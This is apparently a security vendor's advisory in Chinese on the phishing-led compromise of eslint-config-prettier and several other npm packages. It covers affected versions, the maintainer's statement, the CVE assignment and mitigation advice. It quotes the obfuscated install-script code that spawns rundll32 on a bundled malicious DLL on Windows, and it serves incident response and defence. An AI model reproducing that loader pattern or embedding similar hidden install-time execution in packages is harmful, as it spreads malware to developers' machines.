VibeGuardLive feed
APIMCPRSSSkill查询
返回首页查看原文

供应链安全警报：eslint-config-prettier 包疑似被入侵

我们目前正在调查一则涉及 eslint-config-prettier npm 包潜在的供应链安全事件。这个被广泛使用的包通过关闭与 Prettier 冲突的 ESLint 规则来帮助开发者保持一致的代码格式，该包似乎有多个版本发布了带有可疑修改的版本。

我们已完成对 eslint-config-prettier npm 包供应链安全事件的调查。多款被广泛使用的包——通过禁用冲突的 ESLint 规则来帮助开发者保持一致的格式——被发现包含可疑修改。本篇文章总结了我们的发现并提供了该事件的已确认细节。如需更多背景信息，请参阅 GitHub issue。

已确认受影响的包和版本

以下包和版本已被确认受到危害：

  • eslint-config-prettier
    • 8.10.1
      • 9.1.1
      • 10.1.6
      • 10.1.7
  • eslint-plugin-prettier
    • 4.2.2
      • 4.2.3
  • snyckit
    • 0.11.9
  • @pkgjs/core
    • 0.2.8
  • napi-postinstall
    • 0.3.1
  • is
    • 3.3.1
      • 5.0.0
  • got-fetch
    • 5.1.11
      • 5.1.12

这些版本已在 npm 上被标记为 已弃用，维护者已发布了新的干净版本。

更新：eslint-config-prettier 维护者确认供应链攻击

2025 年 7 月 18 日，eslint-config-prettier 及相关包的维护者 JounQin 通过这条推文确认他是钓鱼攻击的受害者。攻击者添加了一个恶意的 npm token，随后发布了他所维护的多个流行包的危险版本。

“我被钓鱼邮件欺骗了，一个新的 npm token 被添加并泄露，随后我维护的一些流行包被发布了带有恶意软件的版本。我已删除了泄露的 token，将所有受影响的坏版本标记为弃用，并发布了新版本。” — JounQin on X

维护者分享了导致此次泄露的钓鱼攻击的更多细节。在 GitHub issue 上的一条评论中，JounQin 发布了一张针对他的复杂钓鱼邮件的截图。

此事件警示我们，供应链攻击通常以人为目标，利用信任和紧迫感来获取对关键基础设施的未授权访问。

更新 2：CVE 正式分配

国家漏洞数据库（NVD）已正式为此安全事件分配了 CVE-2025-54313。CVE 描述确认：

"eslint-config-prettier 8.10.1、9.1.1、10.1.6 和 10.1.7 包含用于供应链妥协的恶意代码。安装受影响的包会执行 install.js 文件，在 Windows 上启动 node-gyp.dll 恶意软件。"

更新 3：活动扩展至 'is' 包

compromising eslint-config-prettier 的 npm 钓鱼活动已扩大其影响范围。我们已发布了最新受害者的详细分析：流行的 'is' 包，该包通过复杂的社会工程学手段被破解。这一升级表明此次供应链攻击的持续性和演变性。攻击者正在通过账户劫持和利用维护者之间信任的复杂社会工程手段，系统性地针对高价值 npm 包。

阅读我们的完整分析：​ 又一起 npm 供应链攻击：'is' 包泄露事件

更新 4：活动扩展至 got-fetch 包

钓鱼活动又造成了一个受害者。Checkmarx 的安全研究人员发现 got-fetch 包（每周 50,000+ 下载量）被破解，恶意版本 5.1.11 和 5.1.12 被发布到 npm。维护者确认成为使用同一钓鱼邮件的受害者，目标域名是 npnjs[.]com。与之前的攻击不同，此次泄露部署了不同的有效载荷——通过 crashreporter.dll 投放 "Pycoon" 信息窃取木马，针对 Windows 系统。恶意版本已被弃用，整个包现已在 npm 上标记为弃用。用户应迁移到 Node.js 内置的 fetch 或使用 got-fetch 版本 6.0.0+ 或 5.1.10 及以下版本。

事件概要

在版本 10.1.5 和 10.1.7 之间，eslint-config-prettier 包已在 npm 上发布了四个新版本，但仓库中没有相应的代码更改。这种异常活动引发了即时的安全担忧，因为合法的包更新通常会有源代码仓库中的实际代码更改相对应。以下是 @dasa 在 GitHub issue 上分享的截图。

关键观察

多个版本（10.1.6 到 10.1.9）被发布到 npm，但没有 GitHub 仓库中匹配的提交或更改。

包差异显示版本之间存在意外的修改：https://app.renovatebot.com/package-diff?name=eslint-config-prettier&from=10.1.5&to=10.1.7

GitHub 用户 martincostello 在 GitHub issue 上提到，受影响的版本会安装一个 DLL。该 DLL 的功能目前未知。基于此分析，恶意代码似乎只影响 Windows。

javascript
if(os.platform() === 'win32') { const tempDir = os.tmpdir(); require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32", [path.join(__dirname, './node-gyp' + '.dll') + ",main"]); log(\`Temp directory: ${tempDir}\`); const files = cache.readdirSync(tempDir); log(\`Number of files in temp directory: ${files.length}\`); }

自动化 Dependabot / Renovatebot 依赖更新

我们了解到有多个案例，自动化依赖管理工具已将被认为存在潜在漏洞的版本升级到受影响版本：

  • Dependabot 和 Renovate Bot 已创建拉取请求，升级到版本 10.1.6、10.1.7、10.1.8 和 10.1.9
  • 这些拉取请求已在多个仓库中被合并，可能使它们暴露于泄露风险中
  • 潜在泄露的确切性质和范围仍在调查中

受影响拉取请求示例：nx-extensions PR #216.

立即建议

在我们继续调查的同时，建议采取以下预防措施：

锁定到更安全的版本

如果您正在使用 eslint-config-prettier，请立即将依赖项锁定到更安全的版本。

检查最近的依赖更新

检查您的项目是否最近通过自动化拉取请求或手动更新将 eslint-config-prettier 更新到了 10.1.6 或更高版本。

审计您的 CI/CD 流水线

如果您最近更新到了受影响版本，请检查您的 CI/CD 日志中是否有任何异常活动。

关注更新

关注此博客文章和官方 issue 线程以获取最新更新。

对于 StepSecurity 企业客户

以下步骤仅适用于 StepSecurity 企业客户。如果您不是现有企业客户，可以安装 StepSecurity GitHub App 来开始 14 天免费试用，以完成以下恢复步骤。

发现升级到被破解 npm 包的拉取请求

我们添加了一个新的控制项，专门用于检测升级到这些被破解包的拉取请求。您可以在 StepSecurity 仪表板上找到新的控制项。

使用 StepSecurity Artifact Monitor 检测授权流水线外的软件发布

StepSecurity Artifact Monitor 通过持续监控各包注册表中的工件，提供对未授权包发布的实时检测。该工具本可以通过检测到版本 9.1.1 是在项目授权 CI/CD 流水线外发布的，从而标记 eslint-config-prettier 事件。该监控器跟踪发布模式、验证来源，并在包通过异常渠道或从意外位置发布时向团队发出警报。通过实施 Artifact Monitor，组织可以在几分钟内捕获供应链泄露，而不是数小时或数天，从而显著减少接触恶意包的窗口期。

在 https://docs.stepsecurity.io/artifact-monitor 了解更多关于在安全工作流中实施 Artifact Monitor 的信息。

使用 StepSecurity Harden-Runner 检测 CI/CD 中被破解的依赖项

StepSecurity Harden-Runner 为您的 GitHub Actions 工作流添加了运行时安全监控，提供对 CI/CD 运行期间网络调用、文件系统更改和进程执行的可见性。在 eslint-config-prettier 泄露等情况下，Harden-Runner 会检测并警报可疑行为，例如到恶意域的意外网络连接或在构建过程中未经授权的文件修改。该工具在工作流中创建所有活动的审计跟踪，使安全事件调查时能够进行快速取证分析。通过使用运行时监控加固您的 CI/CD 流水线，您可以防止被破解的依赖项在构建环境中执行恶意代码。以下截图展示了 Harden-Runner 如何检测到 tj-actions 供应链事件。

按照 https://docs.stepsecurity.io/harden-runner 上的指南在您的工作流中实施 Harden-Runner。

后续步骤

我们将继续调查此事件，并在获得更多信息时提供更新。持续调查的关键领域包括：

  • 确定发布包中修改的确切性质
  • 识别用于发布未授权版本的攻击向量
  • 评估对受影响项目的潜在影响
  • 与包维护者和 npm 合作了解此事件是如何发生的

致谢

我们要向帮助识别、调查和应对此事件的安全社区成员表示衷心的感谢：

特别感谢：​

  • Cedric Brisson 及时提醒我们此安全事件并提供关键的早期洞察
  • JounQin，包维护者，对钓鱼攻击的透明沟通以及在弃用受影响版本和发布干净替代版本方面的 swift action
  • @dasa 分享的初始截图帮助识别了 npm 版本和仓库提交之间的差异
  • martincostello 对影响 Windows 系统的恶意 DLL 安装的重要发现和分析
  • 所有在 GitHub issue 线程中贡献了观察和分析的社区成员